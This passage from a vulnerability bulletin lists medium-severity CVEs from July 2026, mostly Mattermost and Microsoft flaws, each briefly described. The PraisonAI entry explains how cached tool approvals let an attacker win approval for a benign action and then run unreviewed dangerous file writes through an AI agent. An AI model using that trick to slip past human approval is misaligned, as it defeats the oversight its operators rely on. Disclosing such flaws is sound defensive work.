| Mattermost--Mattermost    | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to verify that the channel referenced in an action cookie matches the channel of the target post, which allows an authenticated user without access to a private channel to trigger interactive post actions on posts in that channel via a cookie obtained from any accessible channel.. Mattermost Advisory ID: MMSA-2026-00690                                                                                                                                                                | 2026-07-13 | 6.5        | <a href="#">CVE-2026-10106</a> |
| Mattermost--Mattermost    | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to validate the length and content of message attachment field values, which allows an authenticated attacker to cause a denial of service for all users in a channel via a post containing a specially crafted payload that triggers catastrophic backtracking in the client-side markdown parser.. Mattermost Advisory ID: MMSA-2026-00658                                                                                                                                                     | 2026-07-13 | 6.5        | <a href="#">CVE-2026-6850</a>  |
| Mattermost--Mattermost    | Mattermost Desktop App versions <=6.2 5.5.13 6.0.2.0 fail to properly null check when checking for headers in the Mattermost Desktop App which allows any user to crash another channel members Desktop App via posting a malicious link with an embedded image that misses one of those headers. Mattermost Advisory ID: MMSA-2026-00668                                                                                                                                                                                                                                         | 2026-07-17 | 6.5        | <a href="#">CVE-2026-8075</a>  |
| Mattermost--Mattermost    | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to restrict the group_constrained channel flag to public and private channels that support group synchronization, which allows an ordinary group or direct message member to remove all participants from the conversation via the channel patch API.. Mattermost Advisory ID: MMSA-2026-00688                                                                                                                                                                                                   | 2026-07-13 | 5.4        | <a href="#">CVE-2026-10085</a> |
| Mattermost--Mattermost    | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to invalidate OAuth refresh tokens upon user account deactivation, which allows a deactivated user or an attacker in possession of a valid refresh token to obtain new functional access tokens via the OAuth refresh token grant endpoint.. Mattermost Advisory ID: MMSA-2026-00680                                                                                                                                                                                                             | 2026-07-13 | 5.9        | <a href="#">CVE-2026-9571</a>  |
| Mattermost--Mattermost    | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4 fail to verify whether a guest account is deactivated before creating a session in the magic-link token login path, which allows a deactivated guest user to obtain a fully functional session via a magic-link token issued prior to deactivation.. Mattermost Advisory ID: MMSA-2026-00681                                                                                                                                                                                                                               | 2026-07-13 | 5.4        | <a href="#">CVE-2026-9597</a>  |
| Mattermost--Mattermost    | Mattermost Desktop App versions <=6.2 6.0.2 5.6.13.0 fail to validate payloads sent from the Mattermost Web App to the Desktop App which allows a malicious server owner to crash the Mattermost Desktop App via changing the payload of a method to a malformed one. Mattermost Advisory ID: MMSA-2026-00678                                                                                                                                                                                                                                                                     | 2026-07-17 | 5.7        | <a href="#">CVE-2026-9602</a>  |
| Mattermost--Mattermost    | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to verify post ownership in the shared channel inbound sync handler, which allows an authenticated remote cluster to modify or delete posts authored by local users or                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 4.3        | <a href="#">CVE-2026-10103</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                | other remotes via crafted sync messages referencing arbitrary post IDs in channels shared with that remote.. Mattermost Advisory ID: MMSA-2026-00689                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| Mattermost--Mattermost                                         | Mattermost versions 11.7.x <= 11.7.1, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to restrict metric configuration changes to the playbook being saved, which allows an authenticated user with team access to alter another user's playbook metric settings via a crafted import or update request with a foreign metric ID. Mattermost Advisory ID: MMSA-2026-00653                                                                                                                                                                                                                                                             | 2026-07-13 | 4.3        | <a href="#">CVE-2026-6541</a>  |
| Mattermost--Mattermost                                         | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to validate that an assigned incoming webhook user has access to the target team or channel, which allows a requester with webhook management permissions to create posts or direct messages attributed to another user via crafted incoming webhook configuration and payloads.. Mattermost Advisory ID: MMSA-2026-00683                                                                                                                                                                                                                       | 2026-07-13 | 4.9        | <a href="#">CVE-2026-9708</a>  |
| Mattermost--Mattermost                                         | Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to check the manage_shared_channels permission in the /share-channel autocomplete handler, which allows an authenticated user without that permission to enumerate configured remote cluster connection metadata via slash command autocomplete.. Mattermost Advisory ID: MMSA-2026-00676                                                                                                                                                                                                                                                       | 2026-07-13 | 4.3        | <a href="#">CVE-2026-9824</a>  |
| maybe-finance--maybe                                           | Maybe through 0.6.0 contains a missing authorization vulnerability that allows authenticated low-privilege member-role users to access and modify global hosting settings by exploiting unprotected show and update actions in the Settings::HostingsController, where the before_action ensure_admin filter is applied only to the clear_cache action. Attackers can read the operator's Synth API key rendered in plaintext via a form field value attribute, overwrite it with an attacker-controlled value, toggle public registration settings, and disable email confirmation requirements to disrupt the entire instance. | 2026-07-17 | 6.5        | <a href="#">CVE-2026-63100</a> |
| melograno--Booking for Appointments and Events Calendar Amelia | The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to SQL Injection via the Customer Import in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with wpamelia-manager role, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                  | 2026-07-16 | 4.9        | <a href="#">CVE-2026-14782</a> |
| merkulove--Speaker                                             | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in merkulove Speaker speaker allows Stored XSS.This issue affects Speaker: from n/a through <= 4.1.13.                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57783</a> |
| MervinPraison--PraisonAI                                       | PraisonAI before 1.6.78 caches tool approval decisions by tool name only, allowing attackers to reuse initial approvals for subsequent calls with arbitrary arguments. Attackers can exploit this by obtaining approval for a benign operation and then executing dangerous file write operations with unreviewed parameters in the same session.                                                                                                                                                                                                                                                                                | 2026-07-15 | 6.1        | <a href="#">CVE-2026-60087</a> |
| MervinPraison--PraisonAI                                       | PraisonAI Platform before 0.1.9 fails to properly authorize label and issue-label mutations, allowing workspace members to rename and recolor shared labels and add or remove labels on owner-created issues. Attackers with workspace member privileges can exploit PATCH and POST/DELETE endpoints to alter shared label taxonomy and manipulate issue-label associations without owner or admin authorization.                                                                                                                                                                                                                | 2026-07-15 | 6.5        | <a href="#">CVE-2026-61440</a> |
| Microsoft--.NET 10.0                                           | Improper encoding or escaping of output in .NET allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50659</a> |
| Microsoft--Azure CycleCloud 8.9.1                              | Missing authorization in Azure CycleCloud allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 6.5        | <a href="#">CVE-2026-58279</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                        | Description                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--<br>Microsoft .NET Framework 3.5      | Loop with unreachable exit condition ('infinite loop') in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network. | 2026-07-14 | 5.9        | <a href="#">CVE-2026-50324</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                                  | 2026-07-14 | 6.6        | <a href="#">CVE-2026-50678</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                                          | 2026-07-14 | 6.1        | <a href="#">CVE-2026-54988</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Integer overflow or wraparound in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                    | 2026-07-14 | 6.2        | <a href="#">CVE-2026-55026</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information over a network.                                                   | 2026-07-14 | 6.5        | <a href="#">CVE-2026-55054</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                                          | 2026-07-14 | 6.1        | <a href="#">CVE-2026-55898</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                               | 2026-07-14 | 5.5        | <a href="#">CVE-2026-48580</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                                          | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50408</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55023</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55027</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55028</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55035</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Use of uninitialized resource in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                     | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55042</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                                          | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55046</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55047</a> |
| Microsoft--<br>Microsoft 365 Apps for Enterprise | Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to disclose information locally.                                                           | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55050</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Integer overflow or wraparound in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                       | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55057</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                   | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55121</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Improper validation of specified type of input in Microsoft Office Word allows an unauthorized attacker to disclose information locally.                                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55124</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.                                                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55138</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                   | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55139</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to disclose information locally.                                                        | 2026-07-14 | 5.5        | <a href="#">CVE-2026-55142</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                   | 2026-07-14 | 5.5        | <a href="#">CVE-2026-56192</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                 | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                   | 2026-07-14 | 5.5        | <a href="#">CVE-2026-56195</a> |
| Microsoft--<br>Microsoft Copilot                                    | Improper neutralization of special elements used in a command ('command injection') in Outlook Copilot allows an authorized attacker to perform tampering over a network. | 2026-07-14 | 6.3        | <a href="#">CVE-2026-55145</a> |
| Microsoft--<br>Microsoft<br>Defender for<br>Endpoint for Mac        | Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-56178</a> |
| Microsoft--<br>Microsoft<br>Defender for<br>Endpoint for Mac        | Exposure of private personal information to an unauthorized actor in Microsoft Defender allows an authorized attacker to disclose information locally.                    | 2026-07-14 | 4.7        | <a href="#">CVE-2026-50657</a> |
| Microsoft--<br>Microsoft Edge<br>(Chromium-based)                   | Authentication bypass using an alternate path or channel in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform tampering over a network.          | 2026-07-17 | 5.4        | <a href="#">CVE-2026-57980</a> |
| Microsoft--<br>Microsoft<br>SharePoint<br>Enterprise Server<br>2016 | External control of file name or path in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                    | 2026-07-14 | 6.5        | <a href="#">CVE-2026-54108</a> |
| Microsoft--<br>Microsoft<br>SharePoint<br>Enterprise Server<br>2016 | Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.                                   | 2026-07-14 | 6.5        | <a href="#">CVE-2026-55051</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper access control in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 5.4        | <a href="#">CVE-2026-56157</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Missing authentication for critical function in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 5.3        | <a href="#">CVE-2026-56164</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                    | 2026-07-14 | 4.6        | <a href="#">CVE-2026-55016</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                    | 2026-07-14 | 4.6        | <a href="#">CVE-2026-55019</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                    | 2026-07-14 | 4.6        | <a href="#">CVE-2026-55020</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                    | 2026-07-14 | 4.6        | <a href="#">CVE-2026-55030</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                    | 2026-07-14 | 4.6        | <a href="#">CVE-2026-55135</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                    | 2026-07-16 | 4.6        | <a href="#">CVE-2026-62826</a> |
| Microsoft--<br>Microsoft SQL Server 2025 (CU 6)            | Buffer over-read in SQL Server allows an authorized attacker to disclose information over a network.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50468</a> |
| Microsoft--<br>Microsoft SQL Server 2025 (CU 6)            | Access of resource using incompatible type ('type confusion') in SQL Server allows an authorized attacker to disclose information over a network.                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 6.5        | <a href="#">CVE-2026-54116</a> |
| microsoft--<br>simplechat                                  | SimpleChat is a secure AI conversation application with personal and group workspaces for document-grounded interactions. Prior to 0.241.203, the authenticated GET /api/user/info/<user_id> and GET /api/user/profile-image/<user_id> endpoints in application/single_app/route_backend_users.py accepted a caller-supplied user_id and read the matching Cosmos DB user-settings document without object-level authorization, allowing a low-privilege | 2026-07-16 | 4.3        | <a href="#">CVE-2026-57205</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | authenticated user to retrieve another user's email address, display name, and profile image. This issue is fixed in version 0.241.203.                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| microsoft--UFO                     | Microsoft UFO open-source framework for intelligent automation across devices and platforms. Prior to 3.0.7, the COMMAND_RESULTS handler in ufo/server/ws/handler.py called get_or_create_session in ufo/server/services/session_manager.py without owner_client_id, allowing an authenticated client to create an unowned attacker-chosen session_id such as constellation_task_id = f"{task_name}@{task_id}" and deny the legitimate owner or exhaust memory with phantom sessions. This issue is fixed in version 3.0.7. | 2026-07-16 | 6.5        | <a href="#">CVE-2026-55440</a> |
| microsoft--UFO                     | Microsoft UFO open-source framework for intelligent automation across devices and platforms. From 3.0.0 until 3.0.6, a client connected to the UFO WebSocket server as a DEVICE could call DEVICE_INFO_REQUEST with another device's target_id and receive that device's server-side system_info through ufo/server/ws/handler.py, because handle_device_info_request and get_device_info did not enforce the constellation-only role or object-level authorization boundary. This issue is fixed in version 3.0.6.         | 2026-07-16 | 4.3        | <a href="#">CVE-2026-54568</a> |
| Microsoft--Visual Studio Code      | Insufficiently protected credentials in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 6.5        | <a href="#">CVE-2026-47282</a> |
| Microsoft--Visual Studio Code      | Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-45496</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Storage Spaces Direct allows an unauthorized attacker to elevate privileges with a physical attack.                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.8        | <a href="#">CVE-2026-49168</a> |
| Microsoft--Windows 10 Version 1607 | Uncontrolled resource consumption in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.5        | <a href="#">CVE-2026-49799</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows USB Video Driver allows an unauthorized attacker to elevate privileges with a physical attack.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 6.6        | <a href="#">CVE-2026-49804</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive system information to an unauthorized control sphere in Windows Kernel allows an unauthorized attacker to disclose information locally.                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.2        | <a href="#">CVE-2026-50294</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Spaceport.sys allows an unauthorized attacker to elevate privileges with a physical attack.                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 6.8        | <a href="#">CVE-2026-50298</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Storage Spaces Direct allows an unauthorized attacker to execute code with a physical attack.                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 6.8        | <a href="#">CVE-2026-50299</a> |
| Microsoft--Windows 10 Version 1607 | Null pointer dereference in Active Directory Domain Services allows an authorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50366</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an unauthorized attacker to disclose information over a network.                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50376</a> |
| Microsoft--Windows 10 Version 1607 | Relative path traversal in DNS Server allows an authorized attacker to execute code over an adjacent network.                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.8        | <a href="#">CVE-2026-50426</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Windows RDP allows an unauthorized attacker to disclose information over a network.                                             | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50445</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows USB Audio Class driver (usbaudio.sys) allows an unauthorized attacker to disclose information with a physical attack. | 2026-07-14 | 6.1        | <a href="#">CVE-2026-50453</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an unauthorized attacker to execute code with a physical attack.          | 2026-07-14 | 6.8        | <a href="#">CVE-2026-50492</a> |
| Microsoft--Windows 10 Version 1607 | Off-by-one error in Windows Remote Desktop Protocol allows an unauthorized attacker to disclose information over a network.                         | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50497</a> |
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Remote Desktop Client allows an unauthorized attacker to disclose information over a network.                                   | 2026-07-14 | 6.5        | <a href="#">CVE-2026-50504</a> |
| Microsoft--Windows 10 Version 1607 | Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.              | 2026-07-14 | 6.1        | <a href="#">CVE-2026-50661</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to elevate privileges with a physical attack.                            | 2026-07-14 | 6.8        | <a href="#">CVE-2026-50668</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows RDP allows an unauthorized attacker to disclose information over a network.                                           | 2026-07-14 | 6.5        | <a href="#">CVE-2026-54126</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Kernel allows an unauthorized attacker to elevate privileges with a physical attack.                          | 2026-07-14 | 6.8        | <a href="#">CVE-2026-54132</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an unauthorized attacker to disclose information over a network.                                | 2026-07-14 | 6.5        | <a href="#">CVE-2026-55003</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Win32K allows an unauthorized attacker to elevate privileges locally.         | 2026-07-14 | 6.2        | <a href="#">CVE-2026-57095</a> |
| Microsoft--Windows 10 Version 1607 | Untrusted search path in Microsoft XML allows an unauthorized attacker to bypass a security feature with a physical attack.                         | 2026-07-14 | 6.4        | <a href="#">CVE-2026-57097</a> |
| Microsoft--Windows 10 Version 1607 | Null pointer dereference in Active Directory Domain Services allows an authorized attacker to deny service over a network.                          | 2026-07-14 | 6.5        | <a href="#">CVE-2026-57976</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows RDP allows an unauthorized attacker to disclose information over a network.                                           | 2026-07-14 | 6.5        | <a href="#">CVE-2026-57979</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an authorized attacker to disclose information over a network.                                  | 2026-07-14 | 6.5        | <a href="#">CVE-2026-57982</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an unauthorized attacker to disclose information over a network.                                | 2026-07-14 | 6.5        | <a href="#">CVE-2026-58533</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an unauthorized attacker to disclose information over a network.                                                | 2026-07-14 | 6.5        | <a href="#">CVE-2026-58535</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows RDP allows an unauthorized attacker to disclose information over a network.                                                           | 2026-07-14 | 6.5        | <a href="#">CVE-2026-58539</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an unauthorized attacker to disclose information over a network.                                                | 2026-07-14 | 6.5        | <a href="#">CVE-2026-58546</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an authorized attacker to disclose information locally.                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-33842</a> |
| Microsoft--Windows 10 Version 1607 | Cleartext transmission of sensitive information in Windows Ancillary Function Driver for WinSock allows an authorized attacker to disclose information locally.     | 2026-07-14 | 5.5        | <a href="#">CVE-2026-34346</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows File Explorer allows an authorized attacker to disclose information locally.                                               | 2026-07-14 | 5.5        | <a href="#">CVE-2026-40422</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an authorized attacker to disclose information locally.                  | 2026-07-14 | 5.5        | <a href="#">CVE-2026-41087</a> |
| Microsoft--Windows 10 Version 1607 | Missing release of memory after effective lifetime in Windows Cryptographic Services allows an unauthorized attacker to deny service over a network.                | 2026-07-14 | 5.3        | <a href="#">CVE-2026-44806</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows TCP/IP allows an authorized attacker to disclose information locally.                                                                 | 2026-07-14 | 5.5        | <a href="#">CVE-2026-49177</a> |
| Microsoft--Windows 10 Version 1607 | Improper link resolution before file access ('link following') in Universal Plug and Play (upnp.dll) allows an authorized attacker to disclose information locally. | 2026-07-14 | 5.5        | <a href="#">CVE-2026-49180</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows SMB allows an authorized attacker to disclose information locally.                                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-49801</a> |
| Microsoft--Windows 10 Version 1607 | Integer underflow (wrap or wraparound) in Windows Kernel allows an authorized attacker to disclose information locally.                                             | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50300</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Notification allows an authorized attacker to disclose information locally.                   | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50334</a> |
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Windows NTFS allows an authorized attacker to disclose information locally.                                                                     | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50341</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Cryptographic Services allows an authorized attacker to disclose information locally.         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50352</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                   | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50377</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an authorized attacker to disclose information locally.                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50389</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Media allows an authorized attacker to disclose information locally.                                                 | 2026-07-14 | 5.5        | <a href="#">CVE-2026-50394</a> |
